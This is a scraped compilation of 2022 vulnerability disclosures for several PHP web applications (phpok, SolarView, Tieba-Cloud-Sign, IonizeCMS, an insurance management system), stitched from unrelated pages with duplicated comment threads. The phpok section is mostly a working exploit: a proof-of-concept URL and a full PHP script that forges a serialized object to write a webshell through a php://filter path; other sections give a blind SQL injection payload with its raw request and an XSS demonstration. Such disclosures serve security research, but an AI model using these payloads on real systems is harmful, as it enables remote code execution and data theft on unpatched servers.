Phpok v6.1 was discovered to contain a deserialization vulnerability via the update_f() function in login_control.php. This vulnerability allows attackers to getshell via writing arbitrary files.

The update method in the login controller of the admin module calls the decode method and calls unserialize in the decode function

poc:http://127.0.0.1/61/admin.php?c=login&f=update&fid=../index&fcode=admin&quickcode=cefe25SOUEa4gCpoIv%2BJt%2F5z6u31tiK52nSRBk5hdcE2RBSYok%2B16JUHTY2n6QLMYal2lrFTkM5Os27Hn4Ho0QPtj1%2F8q2%2FrfShLLljvUGCdsPgQITemOZnBayJugy32PTPq2Jb056hKp04YfhZbymkHkBRv1c6dMcanU1shtbl46I0xgaskKvpoMp5YCH2WnVNziBbHCks11vpoXScgZrX1sqTCWaZ5m9Z04eaDJGWCQG3hVzNy3lC27cvVocS1ed0OP0K%2B9k0MfSNcTc0IUlEsZmQt1QY6Y%2FC4nm41IVgrcwXakwGLoR%2BvttyospEjAu0P%2BE8eo

analyze：

For this payload, we can use the cache class, whose \_\_destruct method calls the save method, and the save method can write to the webshell：

The exit here can be bypassed through the pseudo-protocol of php：

php file successfully written and executed：

When executing the following file to generate an attack chain, put index.php in the same directory:  
\`<?php

class token\_lib  
{  
private $keyid = '';  
private $keyc\_length = 6;  
private $keya;  
private $keyb;  
private $time;  
private $expiry = 3600;  
private $encode\_type = 'api\_code'; //仅支持 api\_code 和 public\_key  
private $public\_key = '';  
private $private\_key = '';

    public function __construct()
    {
    	$this->time = time();
    }
    
    
    public function etype($type="")
    {
    	if($type && in_array($type,array('api_code','public_key'))){
    		$this->encode_type = $type;
    	}
    	return $this->encode_type;
    }
    
    public function public_key($key='')
    {
    	if($key){
    		$this->public_key = $key;
    	}
    	return $this->public_key;
    }
    
    public function private_key($key='')
    {
    	if($key){
    		$this->private_key = $key;
    	}
    	return $this->private_key;
    }
    
    /**
     * 自定义密钥
     * @参数 $keyid 密钥内容
    **/
    public function keyid($keyid='')
    {
    	if(!$keyid){
    		return $this->keyid;
    	}
    	$this->keyid = strtolower(md5($keyid));
    	$this->config();
    	return $this->keyid;
    }
    
    private function config()
    {
    	if(!$this->keyid){
    		return false;
    	}
    	$this->keya = md5(substr($this->keyid, 0, 16));
    	$this->keyb = md5(substr($this->keyid, 16, 16));
    }
    
    /**
     * 设置超时
     * @参数 $time 超时时间，单位是秒
    **/
    public function expiry($time=0)
    {
    	if($time && $time > 0){
    		$this->expiry = $time;
    	}
    	return $this->expiry;
    }
    
    /**
     * 加密数据
     * @参数 $string 要加密的数据，数组或字符
    **/
    public function encode($string)
    {
    	if($this->encode_type == 'public_key'){
    		return $this->encode_rsa($string);
    	}
    	if(!$this->keyid){
    		return false;
    	}
    	$string = serialize($string);
    	$expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
    	$string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;	
    	$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
    	$cryptkey = $this->keya.md5($this->keya.$keyc);
    	$rs = $this->core($string,$cryptkey);
    	return $keyc.str_replace('=', '', base64_encode($rs));
    }
    
    /**
     * 基于公钥加密
    **/
    private function encode_rsa($string)
    {
    	if(!$this->public_key){
    		return false;
    	}
    	$string = serialize($string);
    	$crypto = '';
    	$tlist = str_split($string,117);
    	foreach($tlist as $key=>$value){
    		openssl_public_encrypt($value,$data,$this->public_key);
    		$crypto .= $data;
    	}
    	return base64_encode($crypto);
    }
    
    /**
     * 解密
     * @参数 $string 要解密的字串
    **/
    public function decode($string)
    {
    	if($this->encode_type == 'public_key'){
    		return $this->decode_rsa($string);
    	}
    	if(!$this->keyid){
    		return false;
    	}
    	$string = str_replace(' ','+',$string);
    	$keyc = substr($string, 0, $this->keyc_length);
    	$string = base64_decode(substr($string, $this->keyc_length));
    	$cryptkey = $this->keya.md5($this->keya.$keyc);
    	$rs = $this->core($string,$cryptkey);
    	$chkb = substr(md5(substr($rs,26).$this->keyb),0,16);
    	if((substr($rs, 0, 10) - $this->time > 0) && substr($rs, 10, 16) == $chkb){
    		$info = substr($rs, 26);
    		return unserialize($info);
    	}
    	return false;
    }
    
    /**
     * 基于私钥解密
    **/
    public function decode_rsa($string)
    {
    	if(!$this->private_key){
    		return false;
    	}
    	$crypto = '';
    	$tlist = str_split(base64_decode($string),128);
    	foreach($tlist as $key=>$value){
    		openssl_private_decrypt($value,$data,$this->private_key);
    		$crypto .= $data;
    	}
    	if($crypto){
    		return unserialize($crypto);
    	}
    	return false;
    }
    
    private function core($string,$cryptkey)
    {
    	$key_length = strlen($cryptkey);
    	$string_length = strlen($string);
    	$result = '';
    	$box = range(0, 255);
    	$rndkey = array();
    	// 产生密匙簿
    	for($i = 0; $i <= 255; $i++){
    		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
    	}
    	// 用固定的算法，打乱密匙簿，增加随机性，好像很复杂，实际上并不会增加密文的强度
    	for($j = $i = 0; $i < 256; $i++){
    		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
    		$tmp = $box[$i];
    		$box[$i] = $box[$j];
    		$box[$j] = $tmp;
    	}
    	// 核心加解密部分
    	for($a = $j = $i = 0; $i < $string_length; $i++){
    		$a = ($a + 1) % 256;
    		$j = ($j + $box[$a]) % 256;
    		$tmp = $box[$a];
    		$box[$a] = $box[$j];
    		$box[$j] = $tmp;
    		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    	}
    	return $result;
    }
    

}

class file\_lib  
{  
public $read\_count;  
private $safecode = "\\n";  
public function \_\_construct()  
{  
$this->read\_count = 0;  
}

    /**
     * 远程获取内容，这里直接调用html类来执行
     * @参数 $url 网址
     * @参数 $post 要提交的post数据
    **/
    public function remote($url,$post='')
    {
    	return $GLOBALS['app']->lib('html')->get_content($url,$post);
    }
    
    /**
     * 读取数据
     * @参数 $file 要读取的文件，支持远程文件
     * @参数 $length 文件长度，为空表示读取全部，仅限本地文件有效
     * @参数 $filter 是否过滤安全字符，默认为true，不过滤请传参false，仅限本地文件有效
     * @返回 false 或 文件内容
    **/
    public function cat($file="",$length=0,$filter=true)
    {
    	if(!$file){
    		return false;
    	}
    	if(strpos($file,"://") !== false && strpos($file,'file://') === false){
    		return $this->remote($file);
    	}
    	if(!file_exists($file)){
    		return false;
    	}
    	$this->read_count++;
    	
    	if($length && is_numeric($length)){
    		$maxlength = $length;
    		if($filter){
    			$maxlength = $length + strlen($this->safecode);
    		}
    		$fp = fopen($file,'rb');
    		if(!$fp){
    			return false;
    		}
    		$content = fread($fp,$maxlength);
    		fclose($fp);
    	}else{
    		$content = file_get_contents($file);
    	}
    	if(!$content){
    		return false;
    	}
    	if($filter || (is_bool($length) && $length)){
    		$content = str_replace($this->safecode,'',$content);
    	}
    	return $content;
    }
    
    /**
     * 保存数据
     * @参数 $content 要保存的内容，支持字符串，数组，多维数组等
     * @参数 $file 保存的文件地址
     * @参数 $var 仅限$content为数组，此项不为空时使用
     * @参数 $type 写入方式，默认为wb，清零写入
     * @返回 true/false
    **/
    public function vi($content='',$file='',$var="",$type="wb")
    {
    	if(!$content || !$file){
    		return false;
    	}
    	$this->make($file,"file");
    	if(is_array($content) && $var){
    		$content = $this->__array($content,$var);
    		$safecode = 'if(!defined("PHPOK_SET")){exit("<h1>Access Denied</h1>");}';
    		$content = "<?php\n".$safecode."\n".$content."\n//-----end";
    	}else{
    		if(strtolower($type) == 'wb' || strtolower($type) == 'w'){
    			$content = $this->safecode.$content;
    		}
    	}
    	$this->_write($content,$file,$type);
    	return true;
    }
    
    /**
     * 存储php等源码文件，不会写入安全保护
     * @参数 $content 要保存的内容
     * @参数 $file 保存的地址
     * @参数 $type 写入模式，wb 表示完全写入，ab 表示追加写入
    **/
    public function vim($content,$file,$type="wb")
    {
    	$this->make($file,"file");
    	return $this->_write($content,$file,$type);
    }
    
    /**
     * 保存数据别名，不改写任何东西
     * @参数 $content 要保存的内容
     * @参数 $file 保存的地址
     * @参数 $type 写入模式，wb 表示完全写入，ab 表示追加写入
    **/
    public function save($content,$file,$type='wb')
    {
    	return $this->vim($content,$file,$type);
    }
    
    /**
     * 存储图片，内容不进行stripslashes处理
     * @参数 $content 要保存的内容
     * @参数 $file 要保存的文件
     * @返回 
     * @更新时间 
    **/
    public function save_pic($content,$file)
    {
    	$this->make($file,"file");
    	$handle = $this->_open($file,"wb");
    	fwrite($handle,$content);
    	unset($content);
    	$this->_close($handle);
    	return true;
    }
    
    /**
     * 删除操作，请一定要小心，在程序中最好严格一些，不然有可能将整个目录删掉
     * @参数 $del 要删除的文件或文件夹
     * @参数 $type 仅支持file和folder，为file时仅删除$del文件，如果$del为文件夹，表示删除其下面的文件。为folder时，表示删除$del这个文件，如果为文件夹，表示删除此文件夹及子项
     * @返回 true/false
    **/
    public function rm($del,$type="file")
    {
    	if(!file_exists($del)){
    		return false;
    	}
    	if(is_file($del)){
    		unlink($del);
    		return true;
    	}
    	$array = $this->_dir_list($del);
    	if(!$array){
    		if($type == 'folder'){
    			rmdir($del);
    		}
    		return true;
    	}
    	foreach($array as $key=>$value){
    		if(file_exists($value)){
    			if(is_dir($value)){
    				$this->rm($value,$type);
    			}else{
    				unlink($value);
    			}
    		}
    	}
    	if($type == "folder"){
    		rmdir($del);
    	}
    	return true;
    }
    
    /**
     * 创建文件或目录
     * @参数 $file 文件或目录
     * @参数 $type 默认是dir，表示创建目录
     * @返回 true
    **/
    public function make($file,$type="dir")
    {
    	$newfile = $file;
    	$msg = "";
    	if(defined("ROOT")){
    		$root_strlen = strlen(ROOT);
    		if(substr($file,0,$root_strlen) == ROOT){
    			$newfile = substr($file,$root_strlen);
    		}
    		$msg = ROOT;//从根目录记算起是否有文件写入
    	}
    	$array = explode("/",$newfile);
    	$count = count($array);
    	if($type == "dir"){
    		for($i=0;$i<$count;$i++){
    			$msg .= $array[$i];
    			if(!file_exists($msg) && ($array[$i])){
    				mkdir($msg,0777);
    			}
    			$msg .= "/";
    		}
    	}else{
    		for($i=0;$i<($count-1);$i++){
    			$msg .= $array[$i];
    			if(!file_exists($msg) && ($array[$i])){
    				mkdir($msg,0777);
    			}
    			$msg .= "/";
    		}
    		if(!file_exists($file)){
    			@touch($file);//创建文件
    		}
    	}
    	return true;
    }
    
    /**
     * 复制操作
     * @参数 $old 旧文件（夹）
     * @参数 $new 新文件（夹）
     * @参数 $recover 是否覆盖
     * @返回 false/true
    **/
    public function cp($old,$new,$recover=true)
    {
    	if(!file_exists($old)){
    		return false;
    	}
    	if(is_file($old)){
    		//如果目标是文件夹
    		if(substr($new,-1) == '/'){
    			$this->make($new,'dir');
    			$basename = basename($old);
    			if(file_exists($new.$basename) && !$recover){
    				return false;
    			}
    			copy($old,$new.$basename);
    			return true;
    		}
    		if(file_exists($new) && !$recover){
    			return false;
    		}
    		copy($old,$new);
    		return true;
    	}
    	$basename = basename($old);
    	$this->make($new.$basename,'dir');
    	$dlist = $this->ls($old);
    	if($dlist && count($dlist)>0){
    		foreach($dlist as $key=>$value){
    			$this->cp($value,$new.$basename.'/',$recover);
    		}
    	}
    	return true;
    }
    
    /**
     * 文件移动操作
     * @参数 $old 旧文件（夹）
     * @参数 $new 新文件（夹）
     * @参数 $recover 是否覆盖
     * @返回 false/true
    **/
    public function mv($old,$new,$recover=true)
    {
    	if(!file_exists($old)){
    		return false;
    	}
    	if(substr($new,-1) == "/"){
    		$this->make($new,"dir");
    	}else{
    		$this->make($new,"file");
    	}
    	if(file_exists($new)){
    		if($recover){
    			unlink($new);
    		}else{
    			return false;
    		}
    	}else{
    		$new = $new.basename($old);
    	}
    	rename($old,$new);
    	return true;
    }
    
    /**
     * 获取文件夹列表
     * @参数 $folder 获取指定文件夹下的列表（仅一层深度）
     * @返回 数组
    **/
    public function ls($folder)
    {
    	$this->read_count++;
    	$list = $this->_dir_list($folder);
    	if(is_array($list)){
    		sort($list,SORT_STRING);
    	}
    	return $list;
    }
    
    /**
     * 获取文件夹及子文件夹等多层文件列表（无限级，长度受系统限制）
     * @参数 $folder 文件夹
     * @参数 $list 引用变量
    **/
    public function deep_ls($folder,&$list)
    {
    	$this->read_count++;
    	$tmplist = $this->_dir_list($folder);
    	if($tmplist){
    		foreach($tmplist as $key=>$value){
    			if(is_dir($value)){
    				$this->deep_ls($value,$list);
    			}else{
    				$list[] = $value;
    			}
    		}
    	}
    }
    
    /**
     * 取得文件夹下的列表
     * @参数 $file 文件（夹）
     * @参数 $type 仅支持folder或file，为file，直接返回$file本身
     * @返回 $file或数组
    **/
    private function _dir_list($file,$type="folder")
    {
    	if(substr($file,-1) == "/"){
    		$file = substr($file,0,-1);
    	}
    	if(!file_exists($file)){
    		return false;
    	}
    	if($type == "file" || is_file($file)){
    		return $file;
    	}else{
    		$handle = opendir($file);
    		$array = array();
    		while(false !== ($myfile = readdir($handle))){
    			if($myfile != "." && $myfile != ".." && $myfile != ".svn") $array[] = $file."/".$myfile;
    		}
    		closedir($handle);
    		return $array;
    	}
    }
    
    /**
     * 数组转成字符串
     * @参数 $array 要转的数组的
     * @参数 $var 传递的变量
     * @参数 $content 内容
     * @返回 
     * @更新时间 
    **/
    private function __array($array,$var,$content="")
    {
    	foreach($array AS $key=>$value){
    		if(is_array($value)){
    			$content .= $this->__array($value,"".$var."[\"".$key."\"]");
    		}else{
    			$old_str = array('"',"<?php","?>","\r");
    			$new_str = array("'","&lt;?php","?&gt;","");
    			$value = str_replace($old_str,$new_str,$value);
    			$content .= "\$".$var."[\"".$key."\"] = \"".$value."\";\n";
    		}
    	}
    	return $content;
    }
    
    /**
     * 打开文件
     * @参数 $file 打开的文件
     * @参数 $type 打开类型，默认是wb
    **/
    private function _open($file,$type="wb")
    {
    	$handle = fopen($file,$type);
    	$this->read_count++;
    	return $handle;
    }
    
    /**
     * 写入信息
     * @参数 $content 内容
     * @参数 $file 要写入的文件
     * @参数 $type 打开方式
     * @返回 true
    **/
    private function _write($content,$file,$type="wb")
    {
    	if($content){
    		$content = stripslashes($content);
    	}
    	$handle = $this->_open($file,$type);
    	fwrite($handle,$content);
    	unset($content);
    	$this->_close($handle);
    	return true;
    }
    
    /**
     * 关闭句柄
     * @参数 $handle 句柄
    **/
    private function _close($handle)
    {
    	return fclose($handle);
    }
    
    /**
     * 附件下载
     * @参数 $file 要下载的文件地址
     * @参数 $title 下载后的文件名
    **/
    public function download($file,$title='')
    {
    	if(!$file){
    		return false;
    	}
    	if(!file_exists($file)){
    		return false;
    	}
    	$ext = pathinfo($file,PATHINFO_EXTENSION);
    	$filesize = filesize($file);
    	if(!$title){
    		$title = basename($file);
    	}else{
    		$title = str_replace('.'.$ext,'',$title);
    		$title.= '.'.$ext;
    	}
    	ob_end_clean();
    	set_time_limit(0);
    	header("Content-type: applicatoin/octet-stream");
    	header("Date: ".gmdate("D, d M Y H:i:s",time())." GMT");
    	header("Last-Modified: ".gmdate("D, d M Y H:i:s",time())." GMT");
    	header("Content-Encoding: none");
    	header("Content-Disposition: attachment; filename=".rawurlencode($title)."; filename*=utf-8''".rawurlencode($title));
    	header("Accept-Ranges: bytes");
    	$range = 0;
    	$size2 = $filesize -1;
    	if (isset ($_SERVER['HTTP_RANGE'])) {
    	    list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
    	    $new_length = $size2 - $range;
    	    header("HTTP/1.1 206 Partial Content");
    	    header("Content-Length: ".$new_length); //输入总长
    	    header("Content-Range: bytes ".$range."-".$size2."/".$filesize);
    	} else {
    	    header("Content-Range: bytes 0-".$size2."/".$filesize); //Content-Range: bytes 0-4988927/4988928
    	    header("Content-Length: ".$filesize);
    	}
    	$read_buffer=4096;
    	$sum_buffer = 0;
    	$handle = fopen($file, "rb");
    	fseek($handle, $range);
    	ob_start();
    	while (!feof($handle) && $sum_buffer<$filesize) {
    		echo fread($handle,$read_buffer);
    		$sum_buffer+=$read_buffer;
    		ob_flush();
    		flush();
    	}
    	ob_end_clean();
    	fclose($handle);
    }
    

}

class cache{  
protected $key\_id='www';  
protected $key\_list='aaPD9waHAgcGhwaW5mbygpOz8+"';  
protected $folder='php://filter/write=convert.base64-decode/resource=../../../../../../../Applications/MxSrvs/www/a';

}

$token = new token\_lib();  
$file = new file\_lib();  
$token->keyid($file->cat("./index.php"));  
echo $token->encode(new cache());

\`

CVE-2022-29363: phpok6.1 has a deserialization vulnerability, and can getshell by writing arbitrary files  · Issue #12 · qinggan/phpok

SolarView Compact ver.6.00 was discovered to contain a command injection vulnerability via conf_mail.php.

Drive

Anmelden

Drive

Name

os command injection 1 .png

os command injection 2.png

os command injection 2.txt

Keine Dateien in diesem Ordner.Melden Sie sich an, um diesem Ordner Dateien hinzuzufügen.

CVE-2022-29303: os command injection POC – Google Drive

Tieba-Cloud-Sign v4.9 was discovered to contain a cross-site scripting (XSS) vulnerability via the function strip_tags.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

**Possible XSS vulnerability #156**

Open

enferas opened this issue

Apr 6, 2022

· 3 comments

**Comments**

Hello,

I would like to report for XSS vulnerability.

In file https://github.com/MoeNetwork/Tieba-Cloud-Sign/blob/master/templates/control.php line 53.

case 'setplug':
  $plug = strip\_tags($\_GET\['plug'\]);
  $pluginfo = getPluginInfo($plug);

Then, there is an echo in line 62.

echo '<a href="'.$pluginfo\['plugin'\]\['url'\].'" target="\_blank">';

strip\_tags is not secure in this case. If you can look to this code example the alert will be printed when you press on the link.

<?php
$x = "'javascript:alert()'";
$y = strip\_tags($x);
echo "<a href=$x>ClickMe</a>";

if (ROLE != 'admin') msg('权限不足！');

if (!file\_exists($path . $plugin . '.php')) {

return false;

}

这是一个没有想象中严重的漏洞，我们在前面设置了权限检查挡住了非admin用户的访问，此外文件存在性检查会确保不存在的插件不会被加载，因此触发这个漏洞的需要：

*   用户为**管理员**
*   使用了带有恶意外部链接的插件

**感谢您的反馈，我们将会在晚些时候进行修复**

_translated by deepl.com_

if (ROLE != 'admin') msg('权限不足！');

if (!file\_exists($path . $plugin . '.php')) {

return false;

}

This is not as serious a vulnerability as you might think, we set up a permission check earlier to block access by non-admin users, in addition the file existence check will ensure that non-existent plugins will not be loaded, so two conditions are required to trigger this vulnerability

*   The user is an **administrator**
*   A plugin with a malicious url is used

**Thank you for your feedback, we will fix it later**

> if (ROLE != 'admin') msg('权限不足！');
> 
> if (!file\_exists($path . $plugin . '.php')) {
> 
> return false;
> 
> }
> 
> 这是一个没有想象中严重的漏洞，我们在前面设置了权限检查挡住了非admin用户的访问，此外文件存在性检查会确保不存在的插件不会被加载，因此触发这个漏洞的需要：
> 
> *   用户为**管理员**
> *   使用了带有恶意外部链接的插件
> 
> **感谢您的反馈，我们将会在晚些时候进行修复**
> 
> _translated by deepl.com_
> 
> if (ROLE != 'admin') msg('权限不足！');
> 
> if (!file\_exists($path . $plugin . '.php')) {
> 
> return false;
> 
> }
> 
> This is not as serious a vulnerability as you might think, we set up a permission check earlier to block access by non-admin users, in addition the file existence check will ensure that non-existent plugins will not be loaded, so two conditions are required to trigger this vulnerability
> 
> *   The user is an **administrator**
> *   A plugin with a malicious url is used
> 
> **Thank you for your feedback, we will fix it later**

礼貌问询deepl.com中译英和英译中效果怎么样

Copy link

Collaborator

** **n0099** commented May 16, 2022**

> 礼貌问询deepl.com中译英和英译中效果怎么样

您已经看到了

CVE-2022-28920: Possible XSS vulnerability · Issue #156 · MoeNetwork/Tieba-Cloud-Sign

**Comments**

Hello,

I would like to report for XSS vulnerability.

In file https://github.com/MoeNetwork/Tieba-Cloud-Sign/blob/master/templates/control.php line 53.

case 'setplug':
  $plug = strip\_tags($\_GET\['plug'\]);
  $pluginfo = getPluginInfo($plug);

Then, there is an echo in line 62.

echo '<a href="'.$pluginfo\['plugin'\]\['url'\].'" target="\_blank">';

strip\_tags is not secure in this case. If you can look to this code example the alert will be printed when you press on the link.

<?php
$x = "'javascript:alert()'";
$y = strip\_tags($x);
echo "<a href=$x>ClickMe</a>";

if (ROLE != 'admin') msg('权限不足！');

if (!file\_exists($path . $plugin . '.php')) {

return false;

}

这是一个没有想象中严重的漏洞，我们在前面设置了权限检查挡住了非admin用户的访问，此外文件存在性检查会确保不存在的插件不会被加载，因此触发这个漏洞的需要：

*   用户为**管理员**
*   使用了带有恶意外部链接的插件

**感谢您的反馈，我们将会在晚些时候进行修复**

_translated by deepl.com_

if (ROLE != 'admin') msg('权限不足！');

if (!file\_exists($path . $plugin . '.php')) {

return false;

}

This is not as serious a vulnerability as you might think, we set up a permission check earlier to block access by non-admin users, in addition the file existence check will ensure that non-existent plugins will not be loaded, so two conditions are required to trigger this vulnerability

*   The user is an **administrator**
*   A plugin with a malicious url is used

**Thank you for your feedback, we will fix it later**

IonizeCMS v1.0.8.1 was discovered to contain a command injection vulnerability via the function copy_lang_content in application/models/lang_model.php.

****1.Information****

Exploit Title: IonizeCMS-V1.0.8.1-Unverified post request parameters lead to command injection  
Exploit date: 11.04.2022  
Exploit Author: ericfrank900528@gmail.com  
Vendor Homepage: https://github.com/ionize/ionize  
Affect Version: V1.0.8.1  
Description: Code injection in Ionize CMS 1.0.8.1 allows attackers to execute commands remotely via a code injection request from client.

****2.Vulnerability Description****

The exploit code is located in the project's application/models/lang\_model.php file  
In the copy\_lang\_content method, the code is as follows.  
The POST parameter from is spliced into the function content parameter in the create_function function without any processing or checking, resulting in a code injection vulnerability  

****3.How to Exploit****

Construct the attack packet to achieve the effect of executing the whoami command.  

****4.Suggestion****

Validate the parameters in the post request to avoid Code injection

CVE-2022-29307: IonizeCMS-V1.0.8.1-Unverified post request parameters lead to command injection · Issue #405 · ionize/ionize

Insurance Management System 1.0 is vulnerable to SQL Injection via /insurance/editNominee.php?nominee_id=.

**Insurance Management System v1.0 by oretnom23 has SQL injection**

Author： k0xx

vendors: https://itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/

Login account: ahmed/12345 (Super Admin account)

Vulnerability File: /insurance/editNominee.php?nominee\_id=

Vulnerability location: /insurance/editNominee.php?nominee\_id=,nominee\_id=

\[+\] Payload: /insurance/editNominee.php?nominee\_id=1511989270-522970848%27%20and%20length(database())%20=4%20--+ // Leak place ---> nominee\_id=

Current database name: lims,length is 4

GET /insurance/editNominee.php?nominee\_id\=1511989270\-522970848%27%20and%20length(database())%20\=4%20\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=tmbv0mt5ff9hphhe0mtv4sghfq
Connection: close

When length (database ()) = 3, Content-Length: 4297

When length (database ()) = 4, Content-Length: 5523

CVE-2022-30002: bug_report/SQLi-5.md at main · k0xx11/bug_report

IonizeCMS v1.0.8.1 was discovered to contain a SQL injection vulnerability via the id_page parameter in application/models/article_model.php.

****1.Information****

Exploit Title: IonizeCMS-V1.0.8.1-Unverified post request parameters lead to sql injection  
Exploit date: 11.04.2022  
Exploit Author: ericfrank900528@gmail.com  
Vendor Homepage: https://github.com/ionize/ionize  
Affect Version: V1.0.8.1  
Description: SQL injection in Ionize CMS 1.0.8.1 allows attackers to execute commands remotely via a sql injection request from client.

****2.Vulnerability Description****

The exploit code is located in the project's application/models/article\_model.php file  
In the shift\_article\_ordering method, the code is as follows.  
The POST parameter id\_page is spliced into the sql statement without any processing or inspection, resulting in a SQL injection vulnerability.  

****3.How to Exploit****

3.1Construct normal packet and send. In the image below, you can see that there is a 2 second network delay.  

3.2Construct the injected data to execute sleep(1). It can be found that the delay is more than 4 seconds. It is speculated that there are 4 records in total, so sleep(1) is executed 4 times.  

3.3Construct the injection again to execute sleep(3), this time with a delay of 2 + 4*3 = 14 seconds if the guess is correct.  

****4.Suggestion****

Validate the parameters in the post request to avoid SQL injection

Tag

#php